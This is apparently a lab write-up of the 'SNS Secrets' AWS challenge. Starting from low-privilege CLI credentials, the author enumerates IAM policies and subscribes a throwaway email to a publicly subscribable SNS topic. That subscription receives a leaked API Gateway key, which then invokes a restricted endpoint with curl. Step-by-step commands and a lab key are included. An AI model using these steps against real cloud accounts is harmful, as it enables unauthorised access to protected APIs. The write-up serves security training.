> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2025/sns-secrets.md).

# SNS Secrets

{% embed url="<https://www.hacksmarter.org/courses/43ca88a5-6b2f-4a3f-86c2-93e3920779cd>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Scenario

### Objective / Scope <a href="#user-content-objective--scope" id="user-content-objective--scope"></a>

As part of the Hack Smarter Red Team’s new cloud offering, you have been assigned a penetration test focusing on AWS infrastructure. This engagement operates under an **"assumed-breach"** framework.

You will begin with a set of compromised, low-privilege AWS CLI credentials. The client has identified a sensitive internal **API Gateway** as a critical asset. They are concerned that an attacker inside the environment could manipulate permissions to access this resource.

**Objective:** Demonstrate the impact of the breach by escalating privileges to successfully **invoke the restricted API Gateway endpoint**.

## Summary

<details>

<summary>Summary</summary>

In 'SNS Secrets', we start by using low-privileged AWS CLI credentials in an assumed-breach scenario within a controlled cloud environment. Through analysing IAM policies, we identify permissions that allow us to enumerate and interact with Amazon SNS. Having discovered a publicly subscribable SNS topic, we register our own email endpoint and confirm the subscription. Inadvertently, we receive a broadcasted message containing a sensitive API Gateway key. Using this leaked credential, we enumerate the deployed API Gateway resources and construct a valid invocation URL. By using the exposed key, we are able to successfully invoke the restricted /user-data endpoint. This demonstrates how misconfigured SNS topic policies can lead to privilege escalation and unauthorised access to sensitive internal APIs.

</details>

## Amazon SNS

{% embed url="<https://aws.amazon.com/sns/>" %}

Amazon Simple Notification Service (SNS) is a managed AWS service that enables asynchronous communication between publishers and subscribers. Publishers send messages to a topic, which acts as a central communication channel, and subscribed clients automatically receive those messages through supported endpoints such as SQS, Lambda, HTTP, email, or SMS.

## Setup

### Whitelist IP & Creation Of The Scenario

We access the lab environment via the provided web interface to ensure our IP is whitelisted and the scenario is properly initialized.

```
http://[machine-ip]:8000
```

<figure><img src="/files/1svZA41xYafNeeLoM88C" alt=""><figcaption></figcaption></figure>

From the Command Output we can retrieve the `access_key` and `secret_access_key` to configure our aws profile to access the lab environment.

<figure><img src="/files/VYFj4rsdl41mRf0FwPhM" alt=""><figcaption></figcaption></figure>

### Configure Profile

We configure a dedicated AWS CLI profile using the provided credentials.&#x20;

{% hint style="info" %}
Also set the region to us-east-1, as this will be needed later.
{% endhint %}

```
aws configure --profile sns-secrets
```

<figure><img src="/files/zbrROwRJLAC33pL7LN57" alt=""><figcaption></figcaption></figure>

### Verify Access

We confirm that the credentials are valid and identify the AWS account and IAM principal we are operating as.

```
aws sts get-caller-identity --profile sns-secrets
```

<figure><img src="/files/tVCWi9WWQxXjtx2kpCmr" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/6Hp14RByE4hL4SEzptNA" alt=""><figcaption></figcaption></figure>

## Manual Approach

### Inspect IAM User Policies

First we list the **IAM policies** directly attached to the IAM user `cg-sns-user-cgidmicq271l9a` to understand what permissions are explicitly granted.

{% code overflow="wrap" %}

```
aws iam list-user-policies --user-name cg-sns-user-cgidmicq271l9a --profile sns-secrets --no-cli-pager
```

{% endcode %}

<figure><img src="/files/8lPdxoHrRSl6Binkwpea" alt=""><figcaption></figcaption></figure>

We retrieve the following policy:

```
cg-sns-user-policy-cgidmicq271l9a
```

We inspect the policy to identify allowed actions, focusing on SNS permissions and any API Gateway access or restrictions.

This policy lets the user enumerate SNS topics and subscriptions and receive SNS messages, plus read-only IAM self-introspection and limited API Gateway GET access, with explicit denies blocking sensitive API Gateway paths.

{% code overflow="wrap" %}

```
aws iam get-user-policy --user-name cg-sns-user-cgidmicq271l9a --policy-name cg-sns-user-policy-cgidmicq271l9a --profile sns-secrets --no-cli-pager
```

{% endcode %}

<figure><img src="/files/faA4mYdejYu1x9FRe8d2" alt=""><figcaption></figcaption></figure>

* `sns:ListTopics` → list all SNS topics in the account
* `sns:ListSubscriptionsByTopic` → enumerate who/what is subscribed
* `sns:Subscribe` → subscribe an endpoint (email/HTTP/SQS/etc.) to a topic
* `sns:Receive` → receive messages (mainly relevant for SQS/Lambda-backed subs

Next, we enumerate all SNS topics in the account to identify potential messaging channels we can interact with. If not already done, the region must now be set so that we can obtain results.

```
aws sns list-topics --profile sns-secrets --no-cli-pager
```

<figure><img src="/files/8DBksaIZ0bMiQpXLTDkW" alt=""><figcaption></figcaption></figure>

We identify the topic `arn:aws:sns:us-east-1:703671921227:public-topic-cgidmicq271l9a` as the one related to our unique CGID value.

```
aws configure set region us-east-1 --profile sns-secrets
```

```
aws sns list-topics --profile sns-secrets --no-cli-pager
```

<figure><img src="/files/jMgMnRHOTq8ovGVrta6T" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/iin7HoVMHEXOvncCWB6c" alt=""><figcaption></figcaption></figure>

```
arn:aws:sns:us-east-1:703671921227:public-topic-cgidmicq271l9a
```

We check whether any endpoints are already subscribed to the topic and confirm that it is currently unused.

{% code overflow="wrap" %}

```
aws sns list-subscriptions-by-topic --topic-arn 'arn:aws:sns:us-east-1:703671921227:public-topic-cgidmicq271l9a' --profile sns-secrets --no-cli-pager
```

{% endcode %}

<figure><img src="/files/dhZaED4tiCaQceX9bzt6" alt=""><figcaption></figcaption></figure>

We review the topic policy with the following command and confirm that the `Principal` is set to `"*"`, meaning anyone can subscribe to this SNS topic

{% code overflow="wrap" %}

```
aws sns get-topic-attributes --topic-arn arn:aws:sns:us-east-1:703671921227:public-topic-cgidmicq271l9a --profile sns-secrets --no-cli-pager
```

{% endcode %}

<figure><img src="/files/TJVzRb4Va5hphdDL8Q18" alt=""><figcaption></figcaption></figure>

### Subscribe To Topic

We subscribe with a email address (using 10 minute mail in this case) to the topic, allowing us to receive any messages published to it.

{% embed url="<https://10minutemail.com>" %}

```
aws sns subscribe \
  --topic-arn arn:aws:sns:us-east-1:703671921227:public-topic-cgidmicq271l9a \
  --protocol email \
  --notification-endpoint grggwjmjzofzgvajyl@fxavaj.com \
  --profile sns-secrets \
  --no-cli-pager
```

<figure><img src="/files/YNipSZv6DxGLsrLe7IML" alt=""><figcaption></figcaption></figure>

We receive a mail and confirm our subscription via the link provided.

<figure><img src="/files/ZuFvrss7U6oSIAaGgnbF" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/MrE1HYQVVn6jf4ZqPIFb" alt=""><figcaption></figcaption></figure>

We confirm that our subscription is active and ready to receive SNS messages.

{% code overflow="wrap" %}

```
aws sns list-subscriptions-by-topic --topic-arn arn:aws:sns:us-east-1:703671921227:public-topic-cgidmicq271l9a --profile sns-secrets --no-cli-pager  
```

{% endcode %}

<figure><img src="/files/zDRczMn8ccv7m9dHtsx8" alt=""><figcaption></figcaption></figure>

### Sensitive Data Exposure

We receive an SNS message containing a sensitive API Gateway key, demonstrating how SNS misconfigurations can leak credentials to unauthorized subscribers.

<figure><img src="/files/NLX12uvf56aZZUAZ5TP9" alt=""><figcaption></figcaption></figure>

DEBUG: API GATEWAY KEY:

```
qeGG67O8ml6xXPisb7jxO3no5QKBSg6F8zLmbxbx
```

### API Gateway Enumeration

We enumerate available API Gateway instances to identify the target API and retrieve its unique API ID.

First, let’s retrieve basic information, such as the Gateway ID on the target API.

```
 aws apigateway get-rest-apis --profile sns-secrets --region us-east-1 --no-cli-pager 
```

<figure><img src="/files/BpMEw4sWg1IzgSo4Rpgl" alt=""><figcaption></figcaption></figure>

We identify deployed stages for the API, which are required to construct a valid invocation URL.

Using this ID we can get the Gateway stages and resources.

{% code overflow="wrap" %}

```
aws apigateway get-stages --rest-api-id i75z7g35l3 --profile sns-secrets --region us-east-1 --no-cli-pager
```

{% endcode %}

<figure><img src="/files/8uoe0D2Q9YodYLzCtwat" alt=""><figcaption></figcaption></figure>

```
stageName:prod-cgidmicq271l9a
```

We enumerate available API paths to identify accessible endpoints, including the restricted `/user-data` resource

{% code overflow="wrap" %}

```
aws apigateway get-resources --rest-api-id i75z7g35l3 --profile sns-secrets --region us-east-1 --no-cli-pager
```

{% endcode %}

<figure><img src="/files/WijMAC72VsDZc3R2UAOO" alt=""><figcaption></figcaption></figure>

```
path:/user-data
```

### API Invocation

Using the API ID, stage name, and resource path, we build the full API Gateway invoke URL.

```
https://[API-ID].execute-api.us-east-1.amazonaws.com/[stageName]/[resourcePath]
```

```
https://i75z7g35l3.execute-api.us-east-1.amazonaws.com/prod-cgidmicq271l9a/user-data
```

We successfully invoke the restricted API endpoint using the leaked API key and retrieve the final flag.

{% code overflow="wrap" %}

```
curl -X GET "[API Gateway URL]" -H "x-api-key: qeGG67O8ml6xXPisb7jxO3no5QKBSg6F8zLmbxbx"
```

{% endcode %}

{% code overflow="wrap" %}

```
curl -X GET "https://i75z7g35l3.execute-api.us-east-1.amazonaws.com/prod-cgidmicq271l9a/user-data" -H "x-api-key: qeGG67O8ml6xXPisb7jxO3no5QKBSg6F8zLmbxbx"
```

{% endcode %}

<figure><img src="/files/9mryHFDS6TeVajHzi8OA" alt=""><figcaption></figcaption></figure>

## Pacu Approach

The following link provides the solution using Pacu, an AWS exploitation framework by Rhino Security Labs described by Tyler Ramsbey:&#x20;

{% embed url="<https://rhinosecuritylabs.com/research/cloudgoat-sns_secrets/>" %}
